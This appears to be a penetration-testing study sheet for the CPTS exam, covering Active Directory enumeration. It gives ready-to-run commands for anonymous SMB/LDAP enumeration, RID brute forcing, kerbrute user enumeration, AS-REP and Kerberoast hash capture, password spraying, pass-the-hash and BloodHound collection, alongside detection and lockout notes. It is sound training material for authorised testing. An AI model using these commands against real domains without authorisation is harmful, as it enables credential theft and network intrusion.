active-directory-enumeration.md (63270B)
1 --- 2 title: "Stage 04 — Active Directory Enumeration" 3 description: "CPTS attack-flow reference for stage 04 — active directory enumeration in an authorised engagement." 4 category: pentest-workflow 5 subcategory: "CPTS Attack Flow" 6 order: 7 7 tags: ["htb", "cpts", "htb-attack-flow", "htb-attack-flow-stage-04", "pentest-workflow"] 8 tools: ["BloodHound", "ldapsearch", "NetExec", "PowerView"] 9 difficulty: intermediate 10 updated: "2026-08-29" 11 source: "vault:Pentest Attack Flow/07 - Stage 04 - Active Directory Enumeration.md" 12 --- 13 > [!dashboard] Attack-flow navigation 14 > **Dashboard:** [HTB Pentest Attack Flow](/sheets/pentest-workflow/attack-flow-dashboard) 15 > 16 > **Section:** 07 of 17 · **Focus:** Stage 04 — Active Directory Enumeration 17 > 18 > **Previous:** [Stage 03 — Service Enumeration](/sheets/pentest-workflow/service-enumeration) · **Next:** [Stage 05 — Kerberos Attacks](/sheets/pentest-workflow/kerberos-attacks) 19 20 --- 21 # 🏰 STAGE 4 — Active Directory Enumeration 22 23 Once Stage 1 shows **88 / 389 / 445 / 636 / 3268** open I know I'm on a DC. The whole game here: turn "I can reach the DC" into a **username list → any valid cred → a full LDAP dump → a BloodHound graph with an edge to Domain Admin**. That's the order I actually work it, creds or no creds. 24 25 Two habits keep this stage from collapsing into noise: **(1)** every command output that proves something gets saved to `loot/` with a timestamp — the enumeration log becomes the report evidence in [Stage 11](/sheets/pentest-workflow/documentation-and-reporting); **(2)** every identity found goes into a running creds table (`user / source / where valid / privs`) — that table is the spray list, the BloodHound owned-set, and the lateral-movement menu all at once. 26 27 > [!note] Setup assumed 28 > Vars from the setup block: `$IP $DOMAIN $DC $LHOST $U $P`. Before any Kerberos-based tool touches the box, fix `/etc/hosts`, `/etc/krb5.conf` and clock skew or everything dies silently — full kit in AD_Pentest_Tools_Cheat_Sheet. For a two-label domain I derive the base DN inline: `DC=${DOMAIN%%.*},DC=${DOMAIN##*.}` (e.g. `domain.htb` → `DC=domain,DC=htb`). 29 30 --- 31 32 ### 🧭 Methodology order — the only sequence that matters 33 34 AD enumeration is **state-driven, not tool-driven**. I move down this ladder and loop back up the moment my access level changes: 35 36 <figure class="flow plate corners"> 37 <figcaption class="flow__cap"><span class="flow__kind">AD enumeration loop</span><span class="flow__dir">TD</span></figcaption> 38 <div class="flow__body"> 39 <svg class="flow-svg" viewBox="0 0 470 1078" role="img" aria-label="No creds to username list to first cred to credentialed LDAP vacuum to BloodHound, looping back to re-enumerate on any new cred or edge, then handing off to the Kerberos, ACL and ADCS stages"> 40 <!-- forward chain --> 41 <path class="fedge" d="M250,88 L250,160" marker-end="url(#flow-arrow)" /> 42 <path class="fedge" d="M250,208 L250,280" marker-end="url(#flow-arrow)" /> 43 <path class="fedge" d="M250,328 L250,400" marker-end="url(#flow-arrow)" /> 44 <path class="fedge" d="M250,448 L250,520" marker-end="url(#flow-arrow)" /> 45 <path class="fedge" d="M250,568 L250,640" marker-end="url(#flow-arrow)" /> 46 <path class="fedge" d="M250,688 L250,760" marker-end="url(#flow-arrow)" /> 47 <path class="fedge" d="M250,808 L250,880" marker-end="url(#flow-arrow)" /> 48 <path class="fedge" d="M250,928 L250,1000" marker-end="url(#flow-arrow)" /> 49 <!-- back edge: any new cred / new edge loops back to credentialed enum --> 50 <path class="fedge is-back" d="M70,784 L35,784 L35,544 L70,544" marker-end="url(#flow-arrow)" /> 51 <!-- nodes --> 52 <g class="fnode is-entry"><rect class="fnode__box" x="70" y="40" width="360" height="48" /><text class="fnode__label" x="250" y="61" text-anchor="middle">No creds<tspan class="sub" x="250" dy="15">null/guest SMB, anon LDAP, RID brute</tspan></text></g> 53 <g class="fnode"><rect class="fnode__box" x="70" y="160" width="360" height="48" /><text class="fnode__label" x="250" y="181" text-anchor="middle">Username list<tspan class="sub" x="250" dy="15">kerbrute userenum + RID cycle + email patterns</tspan></text></g> 54 <g class="fnode"><rect class="fnode__box" x="70" y="280" width="360" height="48" /><text class="fnode__label" x="250" y="301" text-anchor="middle">AS-REP roast (no creds needed)<tspan class="sub" x="250" dy="15">+ ONE careful password spray</tspan></text></g> 55 <g class="fnode"><rect class="fnode__box" x="70" y="400" width="360" height="48" /><text class="fnode__label" x="250" y="421" text-anchor="middle">Any valid cred<tspan class="sub" x="250" dy="15">validate on smb/ldap/winrm/winrm everywhere</tspan></text></g> 56 <g class="fnode"><rect class="fnode__box" x="70" y="520" width="360" height="48" /><text class="fnode__label" x="250" y="541" text-anchor="middle">Credentialed LDAP vacuum<tspan class="sub" x="250" dy="15">users, groups, SPNs, policy, descriptions</tspan></text></g> 57 <g class="fnode"><rect class="fnode__box" x="70" y="640" width="360" height="48" /><text class="fnode__label" x="250" y="661" text-anchor="middle">BloodHound collection<tspan class="sub" x="250" dy="15">mark owned, path to DA</tspan></text></g> 58 <g class="fnode is-decision"><rect class="fnode__box" x="70" y="760" width="360" height="48" /><text class="fnode__label" x="250" y="788" text-anchor="middle">New cred / new edge?</text></g> 59 <g class="fnode"><rect class="fnode__box" x="70" y="880" width="360" height="48" /><text class="fnode__label" x="250" y="901" text-anchor="middle">Pick an edge<tspan class="sub" x="250" dy="15">roast / ACL abuse / LAPS / gMSA / CVE one-shot</tspan></text></g> 60 <g class="fnode is-goal"><rect class="fnode__box" x="70" y="1000" width="360" height="48" /><text class="fnode__label" x="250" y="1028" text-anchor="middle">Stage 5 Kerberos · Stage 6 ACL · Stage 7 ADCS</text></g> 61 <!-- edge labels --> 62 <g class="felabel"><rect class="felabel__box" x="19" y="656" width="32" height="16" /><text class="felabel__text" x="35" y="667" text-anchor="middle">yes</text></g> 63 <g class="felabel"><rect class="felabel__box" x="237" y="836" width="26" height="16" /><text class="felabel__text" x="250" y="847" text-anchor="middle">no</text></g> 64 </svg> 65 </div> 66 </figure> 67 68 | Step | State | Goal | Primary tools | 69 |---|---|---|---| 70 | 1 | No creds | Naming context, password policy, user list | [NetExec](https://github.com/Pennyw0rth/NetExec), `ldapsearch`, [enum4linux-ng](https://github.com/cddmp/enum4linux-ng), [kerbrute](https://github.com/ropnop/kerbrute) | 71 | 2 | User list | Valid usernames without lockouts | kerbrute `userenum`, RID brute | 72 | 3 | User list → cred bridge | Mint first cred with **zero lockout risk** | `GetNPUsers.py` (AS-REP), **one** spray under threshold | 73 | 4 | One valid cred | Confirm validity + reach | `nxc smb/ldap/winrm` validation | 74 | 5 | Credentialed | Full directory dump | `nxc ldap`, [ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump), PowerView | 75 | 6 | Credentialed | Graph + attack path | [BloodHound CE](https://github.com/SpecterOps/BloodHound) + SharpHound | 76 | 7 | Loop | Every new identity = re-run 4–6 as that identity | all of the above | 77 78 > [!tip] CPTS exam rhythm 79 > The exam expects this exact loop: unauth enum → user list → AS-REP or spray → credentialed enum → BloodHound → edge → new principal → **re-enumerate as the new principal**. Skipping the re-enum step is the #1 reason people stall — a new user often has readable shares, `ReadLAPS` rights, or ACL edges the first user never had. 80 81 > [!abstract]- MITRE ATT&CK map for this stage 82 > | Technique | Where in this note | 83 > |---|---| 84 > | T1087.001/.002 — Account Discovery (local/domain) | 4.1 RID brute, 4.3 `--users`, PowerView | 85 > | T1069.001/.002 — Permission Groups Discovery | 4.3 `--groups`, `net group /domain` | 86 > | T1201 — Password Policy Discovery | 4.1 `--pass-pol`, `net accounts /domain` | 87 > | T1135 — Network Share Discovery | 4.3 `--shares`, Snaffler section | 88 > | T1482 — Domain Trust Discovery | LDAP cookbook, `Get-DomainTrustMapping` | 89 > | T1558.004 — AS-REP Roasting | 4.1 kerbrute `--hash-file`, Stage 5 | 90 > | T1110.003 — Password Spraying | spray loop, [Stage 08](/sheets/pentest-workflow/password-attacks-and-credential-hunting) | 91 > | T1033 — System Owner/User Discovery | session enum (`--sessions`, PsLoggedOn) | 92 | T1558.003 — Kerberoasting | 4.3 `--kerberoasting` (exploit in Stage 05) | 93 | T1212 — Exploitation for Credential Access (LAPS/gMSA reads) | LAPS & gMSA section | 94 95 --- 96 97 ### 4.1 Unauthenticated — no creds yet 98 99 **What to look for:** anonymous/guest SMB + LDAP, a valid username list, RID-cycled names, AS-REP-roastable accounts, the domain naming context. 100 101 **Enumerate** 102 ```bash 103 # Null / guest SMB — this is the nxc "enum4linux replacement" combo 104 nxc smb $IP -u '' -p '' --shares 105 nxc smb $IP -u '' -p '' --users 106 nxc smb $IP -u 'guest' -p '' --shares # guest fallback when null is blocked 107 nxc smb $IP -u '' -p '' --pass-pol # READ THIS before any spray 108 nxc smb $IP -u '' -p '' --rid-brute # cycle RIDs 500+ into names 109 110 # enum4linux-ng — the classic one-shot (users/groups/shares/policy, JSON+YAML out) 111 enum4linux-ng -A $IP -oA recon/enum4linux 112 enum4linux-ng -U $IP # users only 113 enum4linux-ng -P $IP # password policy only 114 115 # Anonymous LDAP — grab the base DN, then blind-dump if binds are allowed 116 ldapsearch -x -H ldap://$DC -b "" -s base namingContexts 117 ldapsearch -x -H ldap://$DC -b "DC=${DOMAIN%%.*},DC=${DOMAIN##*.}" "(objectClass=*)" > ldap_anon.txt 118 119 # Kerbrute — validate usernames off port 88, NO lockout risk 120 kerbrute userenum -d $DOMAIN --dc $DC \ 121 -o valid_users.txt --hash-file asrep.txt -v \ 122 /usr/share/seclists/Usernames/statistically-likely-usernames/jsmith.txt 123 ``` 124 125 > [!tools] Stage this — kerbrute (both platforms staged in vault) 126 > [kerbrute_linux_amd64](/downloads/pentest-workflow/kerbrute_linux_amd64) ([SHA-256](/downloads/pentest-workflow/kerbrute_linux_amd64.sha256) · [GPG signature](/downloads/pentest-workflow/kerbrute_linux_amd64.sha256.asc)) 127 > [kerbrute_windows_amd64.exe](/downloads/pentest-workflow/kerbrute_windows_amd64.exe) ([SHA-256](/downloads/pentest-workflow/kerbrute_windows_amd64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/kerbrute_windows_amd64.exe.sha256.asc)) 128 > Canonical source: [ropnop/kerbrute](https://github.com/ropnop/kerbrute). Wordlists from [SecLists](https://github.com/danielmiessler/SecLists) (`statistically-likely-usernames`, `xato-net-10-million-usernames`) or generate from employee names with [username-anarchy](https://github.com/urbanadventurer/username-anarchy) / [linkedin2username](https://github.com/initstring/linkedin2username) — see [Stage 00](/sheets/pentest-workflow/passive-external-recon). 129 130 **Exploit / pivot from unauth** 131 ```bash 132 # RID brute → clean userlist for kerbrute / spraying 133 nxc smb $IP -u '' -p '' --rid-brute | grep -i SidTypeUser | awk -F'\\' '{print $2}' | awk '{print $1}' > users.txt 134 135 # Feed a confirmed list back into kerbrute (still no lockout on userenum) 136 kerbrute userenum -d $DOMAIN --dc $DC -o valid_users.txt users.txt 137 138 # kerbrute --hash-file may already have captured AS-REP hashes (pre-auth disabled) 139 # asrep.txt → hashcat -m 18200 ; roasting/cracking lives in Stage 5, see Hashcat-Cheatsheet 140 141 # Pre-Windows 2000 compatible check: machine account = lowercase name minus '$' as password 142 nxc ldap $DC -u '' -p '' -M pre2k # unauth discovery of pre2k computers 143 # then try each as user=COMPUTERNAME (lowercase, no $), password=same 144 ``` 145 146 > [!tip] pre2k — the quietest first cred 147 > When a computer account is created with the **"Assign this computer account as a pre-Windows 2000 computer"** box ticked, its password is set to the computer name in **lowercase, truncated to 14 chars, without the trailing `$`** — and the account is often left disabled-but-guessable. `nxc ldap -M pre2k` lists candidates; verify with `nxc smb $IP -u <name> -p <name>`. It's a valid domain cred from nothing, which unlocks all of 4.3. Detection: Event 4741/4742 on computer creation, plus KDC 4768 failures with the `$`-less sAMAccountName pattern. 148 149 **The Pre-Windows 2000 Compatible Access group** is the other side of the same coin: if `Everyone` / `Anonymous Logon` / `Authenticated Users` were ever dropped into the built-in `Pre-Windows 2000 Compatible Access` group, anonymous binds can read most user/group attributes — that's *why* `ldapsearch` anon dumps and `--rid-brute` sometimes work. Check what survives: 150 151 ```bash 152 # does anon read work at all? (rootDSE works even when it doesn't) 153 ldapsearch -x -H ldap://$DC -b "" -s base namingContexts defaultNamingContext 154 # enum4linux-ng -A output flags it as "Users via anonymous" when the group is permissive 155 enum4linux-ng -A $IP | grep -i -A3 'pre-windows\|anonymous' 156 ``` 157 158 > [!warning] Watch out 159 > - `kerbrute` needs the clock within 5 min of the KDC — `clock skew too great` → `sudo ntpdate $IP`. Always pass `--dc $DC` so it never falls back to DNS. 160 > - `userenum` does **not** lock accounts; `passwordspray` / `bruteuser` **do** — pull `--pass-pol` first and always add `--safe`. 161 > - The subcommand is `kerbrute userenum`, not `kerbrute user` (that errors). 162 > - `--rid-brute` / anonymous LDAP only work if the DC allows null binds (Pre-Windows 2000 Compatible Access). No output ≠ empty domain. 163 > - Kerbrute validation is **loud in aggregate**: every check is an AS-REQ → Event **4768** per username. A 10k-name list is 10k 4768s; use `--threads` modestly and prefer a curated list ([statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)) over bulk dictionary. 164 165 --- 166 167 ### 4.2 Got a cred — validate it everywhere first 168 169 **What to look for:** where the cred is valid, and whether it's already local admin (`Pwn3d!`). 170 171 **Enumerate** 172 ```bash 173 # Validate on every protocol — [+] valid, [-] invalid, Pwn3d! = local admin 174 nxc smb $IP -u "$U" -p "$P" 175 nxc ldap $DC -u "$U" -p "$P" 176 nxc winrm $DC -u "$U" -p "$P" # Pwn3d! here = evil-winrm shell, Stage 6 177 nxc mssql $DC -u "$U" -p "$P" # svc accounts often hit MSSQL too 178 nxc rdp $DC -u "$U" -p "$P" # RDP reach (screenshot-friendly check) 179 # Pass-the-hash instead of a password: 180 nxc smb $IP -u "$U" -H "$HASH" 181 ``` 182 183 > [!warning] Watch out 184 > `STATUS_LOGON_FAILURE` with a cred you *know* is good = usually a domain problem, not a bad password. Add `-d $DOMAIN`, target the FQDN `$DC`, or `--local-auth` for a SAM account. Kerberos failures → FQDN target + fixed DNS/clock. 185 186 > [!success] The doctrine: new creds = rerun everything as that identity 187 > Every validated credential is a **new enumeration context**, not a trophy. The moment a spray hit or crack lands: 188 > 1. `nxc smb/ldap/winrm` validate the new identity everywhere (4.2). 189 > 2. Re-vacuum LDAP as that user (4.3) — new `description`/`info`/share access often appears. 190 > 3. **Re-run BloodHound as that identity** (4.5) and mark it **Owned** — its group memberships and ACL edges may open a path the previous user never had. 191 > 4. Retry LAPS/gMSA reads and the share sweep. 192 > This loop *is* the methodology; the HTB/CPTS boxes are built so the 2nd or 3rd identity holds the winning edge. 193 194 --- 195 196 ### 4.3 Credentialed enumeration — vacuum SMB + LDAP with nxc 197 198 **What to look for:** full user/group/computer lists, share access, password policy, low-hanging AD misconfigs (adminCount, delegation, no-preauth). 199 200 **Enumerate** 201 ```bash 202 # SMB side — shares, users, groups, sessions 203 nxc smb $IP -u "$U" -p "$P" --shares --users --groups --pass-pol 204 nxc smb $IP -u "$U" -p "$P" --loggedon-users --sessions 205 nxc smb $IP -u "$U" -p "$P" --users --users-export users.txt # dump list to file 206 207 # LDAP side — the richer view (this is where the AD gold is) 208 nxc ldap $DC -u "$U" -p "$P" --users 209 nxc ldap $DC -u "$U" -p "$P" --groups 210 nxc ldap $DC -u "$U" -p "$P" --computers 211 nxc ldap $DC -u "$U" -p "$P" --pass-pol 212 nxc ldap $DC -u "$U" -p "$P" --admin-count # adminCount=1 → high value 213 nxc ldap $DC -u "$U" -p "$P" --password-not-required 214 nxc ldap $DC -u "$U" -p "$P" --trusted-for-delegation 215 nxc ldap $DC -u "$U" -p "$P" --find-delegation 216 nxc ldap $DC -u "$U" -p "$P" --get-sid 217 218 # Roast discovery straight from LDAP (crack/exploit in Stage 5) 219 nxc ldap $DC -u "$U" -p "$P" --asreproast asrep.txt 220 nxc ldap $DC -u "$U" -p "$P" --kerberoasting kerberoast.txt 221 222 # Descriptions/user-desc modules — passwords hide in these fields constantly 223 nxc ldap $DC -u "$U" -p "$P" -M user-desc 224 nxc ldap $DC -u "$U" -p "$P" -M get-desc-users 225 ``` 226 227 **nxc LDAP flag table — what each flag actually answers:** 228 229 | Flag | Question answered | Follow-up | 230 |---|---|---| 231 | `--users` / `--users-export` | Who exists? (build the spray list) | prune by `badPwdCount` before spraying | 232 | `--groups` | Group memberships, privileged groups | hunt nested `Domain Admins` members | 233 | `--computers` | Hosts + OS versions in the domain | old OS = soft privesc targets (Stage 9) | 234 | `--pass-pol` | Lockout threshold/window, complexity | sets the spray rate math | 235 | `--admin-count` | `adminCount=1` objects (SDProp-protected) | high-value targets for roast/ACL abuse | 236 | `--password-not-required` | `PASSWD_NOTREQD` accounts | try blank passwords; classic misconfig | 237 | `--trusted-for-delegation` | Unconstrained delegation hosts | coerce a DC to it → Stage 5 | 238 | `--find-delegation` | All delegation (unconstrained/constrained/RBCD) | Stage 5 delegation attacks | 239 | `--asreproast <file>` | `DONT_REQ_PREAUTH` accounts + AS-REP hashes | `hashcat -m 18200`, [Stage 05](/sheets/pentest-workflow/kerberos-attacks) | 240 | `--kerberoasting <file>` | SPN accounts + TGS hashes | `hashcat -m 13100`, Stage 05 | 241 | `--gmsa` | Readable gMSA passwords → NT hashes | spend `ReadGMSAPassword` edges | 242 | `-M laps` | Readable LAPS passwords | local admin on those hosts | 243 | `-M pre2k` | Pre-Windows 2000 computer accounts | password = lowercase name | 244 | `-M user-desc` / `-M get-desc-users` | Passwords in `description` fields | free creds, always run | 245 | `-M maq` | MachineAccountQuota (can I add a computer?) | RBCD prerequisite, Stage 5/6 | 246 | `-M adcs` | ADCS enrollment servers/templates | hands off to [Stage 07](/sheets/pentest-workflow/adcs-and-certificate-abuse) | 247 | `--bloodhound --collection All` | In-line SharpHound-equivalent collection | 4.5 ingest | 248 | `--get-sid` | Domain SID | needed for ticket forgery, Stage 5 | 249 250 > [!tip] Password spray from a known-valid base 251 > Once one cred works, spray it (or one seasonal password) across the whole userlist — but respect the lockout policy you already pulled: 252 > ```bash 253 > nxc smb $IP -u users.txt -p 'Welcome2024!' --continue-on-success --no-bruteforce --jitter 2 254 > ``` 255 256 --- 257 258 ### 4.4 LDAP tooling — ldapsearch, ldapdomaindump, ldeep, windapsearch, bloodyAD 259 260 The LDAP tools I reach for, in order of surgical → automated: 261 262 **ldapsearch — surgical, one filter at a time.** Modern syntax: `-H ldap://` (never `-h`), `-x` simple bind, `-LLL` for clean output. 263 ```bash 264 # Base recon + auth test 265 ldapsearch -x -H ldap://$DC -b "" -s base namingContexts 266 ldapsearch -LLL -x -H ldap://$DC -D "$U@$DOMAIN" -w "$P" -b "DC=${DOMAIN%%.*},DC=${DOMAIN##*.}" 267 268 # All users with the fields that leak creds — check info AND description 269 ldapsearch -x -H ldap://$DC -D "$U@$DOMAIN" -w "$P" \ 270 -b "DC=${DOMAIN%%.*},DC=${DOMAIN##*.}" \ 271 "(objectClass=user)" sAMAccountName mail userAccountControl description info memberOf 272 273 # Hunt passwords in the info field (this WAS the creds on Support) 274 ldapsearch -x -H ldap://$DC -D "$U@$DOMAIN" -w "$P" \ 275 -b "DC=${DOMAIN%%.*},DC=${DOMAIN##*.}" "(info=*)" info cn sAMAccountName 276 277 # Kerberoastable (has SPN) 278 ldapsearch -x -H ldap://$DC -D "$U@$DOMAIN" -w "$P" \ 279 -b "DC=${DOMAIN%%.*},DC=${DOMAIN##*.}" \ 280 "(&(objectClass=user)(servicePrincipalName=*))" sAMAccountName servicePrincipalName 281 282 # AS-REP roastable (DONT_REQ_PREAUTH bit) 283 ldapsearch -x -H ldap://$DC -D "$U@$DOMAIN" -w "$P" \ 284 -b "DC=${DOMAIN%%.*},DC=${DOMAIN##*.}" \ 285 "(userAccountControl:1.2.840.113556.1.4.803:=4194304)" sAMAccountName 286 287 # Accounts with constrained delegation configured 288 ldapsearch -x -H ldap://$DC -D "$U@$DOMAIN" -w "$P" \ 289 -b "DC=${DOMAIN%%.*},DC=${DOMAIN##*.}" \ 290 "(msDS-AllowedToDelegateTo=*)" sAMAccountName msDS-AllowedToDelegateTo 291 292 # Domain Controllers only 293 ldapsearch -x -H ldap://$DC -D "$U@$DOMAIN" -w "$P" \ 294 -b "DC=${DOMAIN%%.*},DC=${DOMAIN##*.}" \ 295 "(userAccountControl:1.2.840.113556.1.4.803:=8192)" cn dNSHostName 296 ``` 297 298 **ldapsearch query cookbook — the "what do I want" → filter table** (base `B="DC=${DOMAIN%%.*},DC=${DOMAIN##*.}"`, auth `-D "$U@$DOMAIN" -w "$P"`): 299 300 | I want… | Filter | Attributes to pull | 301 |---|---|---| 302 | All users | `(objectClass=user)` | `sAMAccountName mail description info memberOf` | 303 | Domain/Enterprise Admins | `(memberOf:1.2.840.113556.1.4.1941:=CN=Domain Admins,CN=Users,$B)` | `sAMAccountName` | 304 | SPN (kerberoastable) users | `(&(objectClass=user)(servicePrincipalName=*)(!(objectClass=computer)))` | `sAMAccountName servicePrincipalName` | 305 | AS-REP roastable | `(userAccountControl:1.2.840.113556.1.4.803:=4194304)` | `sAMAccountName` | 306 | All computers | `(objectClass=computer)` | `cn dNSHostName operatingSystem operatingSystemVersion` | 307 | Computers by OS (e.g. 2012) | `(&(objectClass=computer)(operatingSystem=*2012*))` | `cn operatingSystem` | 308 | GPOs | `(objectClass=groupPolicyContainer)` | `displayName gPCFileSysPath` | 309 | OUs | `(objectClass=organizationalUnit)` | `ou distinguishedName gPLink` | 310 | Domain trusts | `(objectClass=trustedDomain)` | `name trustDirection trustAttributes` | 311 | Password policy (domain root) | `-s base -b "$B" "(objectClass=domain)"` | `minPwdLength lockoutThreshold lockOutObservationWindow maxPwdAge` | 312 | Descriptions with creds | `(&(objectCategory=user)(description=*))` | `sAMAccountName description` | 313 | Mail attributes | `(&(objectClass=user)(mail=*))` | `sAMAccountName mail` | 314 | Never-expiring passwords | `(userAccountControl:1.2.840.113556.1.4.803:=65536)` | `sAMAccountName` | 315 | Disabled accounts | `(userAccountControl:1.2.840.113556.1.4.803:=2)` | `sAMAccountName` | 316 | MachineAccountQuota | `-s base -b "$B" "(objectClass=domain)"` | `ms-DS-MachineAccountQuota` | 317 | LAPS-readable hosts | `(ms-Mcs-AdmPwd=*)` | `cn ms-Mcs-AdmPwd` | 318 | ACLs on a specific object | base = object DN, `-s base "(objectClass=*)"` | `nTSecurityDescriptor` (SDDL — parse with bloodyAD/StandIn) | 319 320 **ldapdomaindump — the whole domain to HTML+JSON in one shot.** Best "just give me everything greppable" tool: [dirkjanm/ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump). 321 ```bash 322 ldapdomaindump -u "$DOMAIN\\$U" -p "$P" $DC -o ldapdump # or use $IP if DNS is flaky 323 # then hunt creds + privileged users in the JSON 324 grep -i "info\|description" ldapdump/domain_users.json | grep -v '""' 325 jq '.[] | select(.info != "") | {name:.name, info:.info}' ldapdump/domain_users.json 326 jq -r '.[].name' ldapdump/domain_users.json > users.txt 327 # browse the tables: cd ldapdump && python3 -m http.server 8000 328 ``` 329 330 **ldeep — ldapdomaindump's modern rival** ([franc-pentest/ldeep](https://github.com/franc-pentest/ldeep)): same full-dump idea but with per-topic verbs, Kerberos/ccache auth, and JSON output that pipes cleanly: 331 ```bash 332 ldeep ldap -u "$U" -p "$P" -d $DOMAIN -s ldap://$DC all ldeep_out/ # everything 333 ldeep ldap -u "$U" -p "$P" -d $DOMAIN -s ldap://$DC users -v # verbose users 334 ldeep ldap -u "$U" -p "$P" -d $DOMAIN -s ldap://$DC delegations # all delegation types 335 ldeep ldap -u "$U" -p "$P" -d $DOMAIN -s ldap://$DC gmsa # readable gMSAs 336 ldeep ldap -u "$U" -p "$P" -d $DOMAIN -s ldap://$DC trusts 337 ldeep ldap -u "$U" -k -d $DOMAIN -s ldaps://$DC all out/ # ccache auth via KRB5CCNAME 338 ``` 339 340 **windapsearch — canned queries as flags** ([ropnop/windapsearch](https://github.com/ropnop/windapsearch)) when I don't want to write filter syntax: 341 ```bash 342 windapsearch -d $DOMAIN --dc $DC -u "$U" -p "$P" --da # Domain Admins 343 windapsearch -d $DOMAIN --dc $DC -u "$U" -p "$P" --computers 344 windapsearch -d $DOMAIN --dc $DC -u "$U" -p "$P" --unconstrained-delegation 345 ``` 346 347 **bloodyAD — read what my cred can actually touch** ([CravateRouge/bloodyAD](https://github.com/CravateRouge/bloodyAD)) (and later, weaponize it): 348 ```bash 349 # What objects is THIS principal allowed to write? (fastest ACL-edge finder from CLI) 350 bloodyAD -d $DOMAIN -u "$U" -p "$P" --host $DC get writable 351 # bloodyAD also does the write side (reset pw, add to group, set RBCD, disable preauth) — Stage 5/6 352 ``` 353 354 **adidnsdump — the hidden host list** ([dirkjanm/adidnsdump](https://github.com/dirkjanm/adidnsdump)): AD-integrated DNS keeps the zone in LDAP, so *any* domain user can dump every DNS record — a complete internal host inventory (including hosts that don't respond to ping) with zero scanning traffic: 355 ```bash 356 adidnsdump -u "$DOMAIN\\$U" -p "$P" $DC --dns-tcp 357 # records.csv → every A/AAAA/CNAME; grep for *-dc*, *sql*, *web* to build the target map 358 ``` 359 360 > [!tip] "Which LDAP tool?" (exam recall) 361 > `ldapsearch` = precise single filters · `ldapdomaindump` = full HTML/JSON dump for grepping · `ldeep` = modern dump with verbs + Kerberos auth · `windapsearch` = queries-as-flags · `nxc ldap` = fast enum + roast/bloodhound · `bloodyAD get writable` = what your cred can modify. Anonymous namingContexts probe comes before all of them. Port discovery back in Stage 1 was `rustscan -a $IP --ulimit 5000 -- -sC -sV` then nmap AD scripts. 362 363 > [!warning] Watch out 364 > - `info` and `description` fields hold plaintext passwords far more often than they should — always dump both. 365 > - Quote passwords in single quotes; `ldapdomaindump` wants a **double** backslash in `DOMAIN\\user`. 366 > - LDAPS (636) sometimes binds where plain LDAP is restricted: `ldapsearch -H ldaps://$DC:636 ...` / `ldapdomaindump ... -l ldaps://$DC:636`. 367 > - Simple binds (`-x -w`) send the password in **cleartext over plain LDAP** — on a real engagement that's both a credential-exposure issue and an easy NDR detection. Prefer `-k`/Kerberos or `ldaps://` where possible. 368 369 --- 370 371 ### 4.5 The payoff — BloodHound → pick an edge 372 373 This is why I enumerate at all: dump the graph, mark what I own, let it show me the path to DA. Collect the moment I have *any* cred, even low-priv. Current platform: [BloodHound CE](https://github.com/SpecterOps/BloodHound) (SpecterOps). Legacy BloodHound 4.x is end-of-life but still lurks in older lab images. 374 375 > [!tools] Stage this — SharpHound collector (exe + ps1 in one zip) 376 > [SharpHound.zip](/downloads/pentest-workflow/SharpHound.zip) ([SHA-256](/downloads/pentest-workflow/SharpHound.zip.sha256) · [GPG signature](/downloads/pentest-workflow/SharpHound.zip.sha256.asc)) 377 > Canonical source: [SpecterOps/SharpHound](https://github.com/SpecterOps/SharpHound). Linux collectors: [bloodhound-ce-python](https://github.com/dirkjanm/BloodHound.py) (CE-schema) and [RustHound-CE](https://github.com/g0h4n/RustHound-CE) (fast Rust collector, CE-compatible). **Collector schema must match the ingestor** — check the table below. 378 379 **Legacy vs CE — the compatibility trap:** 380 381 | | Legacy BloodHound 4.x | BloodHound CE | 382 |---|---|---| 383 | Linux collector | `bloodhound-python` (old BloodHound.py branch) | `bloodhound-ce-python` or RustHound-CE | 384 | Windows collector | SharpHound 1.x | SharpHound 2.x (shipped in the vault zip) | 385 | JSON schema | legacy v4 | CE/opengraph — **not interchangeable** | 386 | Backend | Neo4j desktop app | Postgres + API + web UI (docker) | 387 | Ingest | drag-drop zip into GUI | Administration → File Ingest | 388 | Cypher | legacy property names (`highvalue`, `hasspn`…) | renamed properties; use CE Query Library first | 389 390 > [!danger] Wrong-schema ingestion fails **silently** — files "upload OK" but produce an empty or mis-parsed graph. If the graph is weird after ingest, schema mismatch is the first suspect, before DNS. 391 392 **Collect (Linux, remote)** 393 ```bash 394 # BloodHound CE (current) — CE-schema JSON. -ns MUST be the DC IP or the graph comes back empty 395 bloodhound-ce-python -d $DOMAIN -u "$U" -p "$P" -dc $DC -ns $IP -c All --zip 396 397 # RustHound-CE — faster on big domains, same CE schema 398 rusthound-ce -d $DOMAIN -u "$U" -p "$P" -f $DC -i $IP -c All --zip 399 400 # Legacy BloodHound (older labs only — DIFFERENT json schema, not interchangeable) 401 bloodhound-python -c all -u "$U" -p "$P" -d $DOMAIN -ns $IP --zip 402 403 # Pass-the-hash / Kerberos variants 404 bloodhound-ce-python -d $DOMAIN -u "$U" --hashes :$HASH -ns $IP -c All --zip 405 export KRB5CCNAME=$(pwd)/$U.ccache 406 bloodhound-ce-python -d $DOMAIN -u "$U" -k -no-pass -dc $DC -ns $IP -c All --zip 407 408 # Stealth first pass — pure LDAP, no SMB/host touches 409 bloodhound-ce-python -d $DOMAIN -u "$U" -p "$P" -ns $IP -c DCOnly --zip 410 411 # Or let nxc do collection + zip in one line 412 nxc ldap $DC -u "$U" -p "$P" --bloodhound --collection All --dns-server $IP 413 ``` 414 415 **Collect (from a Windows foothold — SharpHound)** when I already have a shell / need session data: 416 ```powershell 417 .\SharpHound.exe -c All -d $DOMAIN --DomainController $IP --ZipFileName loot.zip 418 .\SharpHound.exe -c DCOnly # quiet, LDAP-only 419 .\SharpHound.exe -c Session --Loop --Loopduration 02:00:00 --LoopInterval 00:10:00 # session hunting 420 ``` 421 422 **Collection flag picker:** 423 424 | Flag / method | Gets you | Cost | 425 |---|---|---| 426 | `-c All` / `--collection All` | Everything: groups, sessions, local admins, ACLs, trusts | Loud — touches every host over SMB/RPC | 427 | `-c DCOnly` | Users, groups, ACLs, trusts, GPOs — **LDAP to the DC only** | Quiet; no session/local-admin edges | 428 | `-c Session` (+`--Loop`) | Logged-on sessions (the lateral-movement edges) | Medium; needs rights on targets | 429 | `-c LoggedOn` | Privileged sessions only (needs local admin) | Louder, higher value | 430 | `--zip` | Compress output for exfil/ingest | Always on for remote collectors | 431 | `-c All --stealth` (SharpHound) | Slower, single-threaded, avoids some signatures | Time | 432 